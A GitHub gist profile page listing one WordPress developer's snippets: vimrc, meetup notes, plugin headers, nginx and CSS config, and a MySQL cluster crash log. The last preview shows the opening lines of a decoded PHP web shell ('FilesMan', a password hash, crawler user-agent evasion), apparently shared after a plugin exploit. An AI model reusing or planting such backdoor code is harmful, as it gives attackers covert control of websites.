Skip to content

Instantly share code, notes, and snippets.

View anttiviljami's full-sized avatar
💚
Be kind.

Viljami Kuosmanen anttiviljami

💚
Be kind.
View GitHub Profile
""
" anttiviljami's vimrc
"
" twitter: @anttiviljami
" http://seravo.fi
"
""
" Use Vim settings, rather than Vi settings (much better!).
" This must be first, because it changes other options as a side effect.
@anttiviljami
anttiviljami / gist:e6322189c975faf7529a
Last active August 29, 2015 14:11
WP Miitti Tampere 11.12.2014, show notes

WordPress

  • WordPressiä ajetaan yleensä LAMP-ympäristössä
  • Useissa tapauksissa alimitoitetuissa Shared Hosting -ympäristöissä
  • Mietitään miten WordPressin saa pyörimään mahdollisimman nopeasti!

Nginx as HTTP Server

  • Kevyempi ja nopeampi kuin Apache -> Oton mittaukset
@anttiviljami
anttiviljami / keybase.md
Created March 20, 2015 07:14
keybase.md

Keybase proof

I hereby claim:

  • I am anttiviljami on github.
  • I am anttiviljami (https://keybase.io/anttiviljami) on keybase.
  • I have a public key whose fingerprint is 29EF B0B5 2C32 0A18 5A8F A04F 586E BF8C 4FC4 AE36

To claim this, I am signing this object:

@anttiviljami
anttiviljami / woocommerce-free-shipping.php
Last active December 2, 2015 11:09
WooCommerce - Apply free shipping to all shipping methods
<?php
/**
* Plugin name: WooCommerce - Apply free shipping to all shipping methods
* Plugin URI: https://gist.github.com/anttiviljami/ad46752d23d622c07f82
* Description: If Free Shipping is available, make other shipping options cost 0 and disable the 'Free Shipping' method
* Version: 1.0
* Author: anttiviljami
* Author: https://github.com/anttiviljami
* License: GPLv3
*/
@anttiviljami
anttiviljami / indicate-shadow.php
Last active February 9, 2016 19:47
Shadow Indicator
<?php
/**
* Plugin name: Shadow Indicator
* Author: Antti Kuosmanen / Seravo Oy
* Version: 1.0
*
* Show the user which environment we're in at all times
*/
add_action('wp_head', '_indicate_environment');
add_action('admin_notices', '_indicate_environment');
@anttiviljami
anttiviljami / nginx.conf
Last active February 26, 2016 20:20
Setting a header based on upstream header
map $sent_http_x_wp_embed $frameoptions {
'' SAMEORIGIN;
'something' 'ALLOW-FROM http://mywebsite.com';
}
server {
...
add_header X-Frame-Options $frameoptions;
}
@anttiviljami
anttiviljami / wp-adminbar.css
Created August 24, 2016 20:14
WordPress Adminbar CSS offset
.customize-support nav { position: relative; top: 32px; }
@media ( max-width: 782px ) {
.customize-support nav { position: relative; top: 46px; }
}
@media ( max-width: 600px ) {
.customize-support nav { position: absolute; top: 46px; }
}
@anttiviljami
anttiviljami / mysqld.log
Created December 2, 2016 08:56
2016-12-02 shard3 crash log
2016-12-02 8:40:33 139992479299328 [Note] WSREP: (173c558a, 'tcp://0.0.0.0:40047') connection to peer 4ceca44b with addr tcp://10.1.10.91:40047 timed out, no
messages seen in PT3S
2016-12-02 8:40:33 139992479299328 [Note] WSREP: (173c558a, 'tcp://0.0.0.0:40047') connection to peer dee5e459 with addr tcp://10.1.8.195:40047 timed out, no
messages seen in PT3S
2016-12-02 8:40:33 139992479299328 [Note] WSREP: (173c558a, 'tcp://0.0.0.0:40047') turning message relay requesting on, nonlive peers: tcp://10.1.10.91:40047
tcp://10.1.8.195:40047
2016-12-02 8:40:34 139992479299328 [Note] WSREP: (173c558a, 'tcp://0.0.0.0:40047') connection established to 4ceca44b tcp://10.1.10.91:40047
2016-12-02 8:40:34 139992479299328 [Note] WSREP: (173c558a, 'tcp://0.0.0.0:40047') reconnecting to dee5e459 (tcp://10.1.8.195:40047), attempt 0
2016-12-02 8:40:34 139992479299328 [Note] WSREP: (173c558a, 'tcp://0.0.0.0:40047') connection established to dee5e459 tcp://10.1.8.195:40047
2016-12-02 8:40:37 139992479299328 [Note] WSRE
@anttiviljami
anttiviljami / common.php
Created February 2, 2017 11:37
Decoded payload from blogvault backup WordPress plugin exploit
<?php
$auth_pass = "43c28ae888b07543fd3c492620b2d10c";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");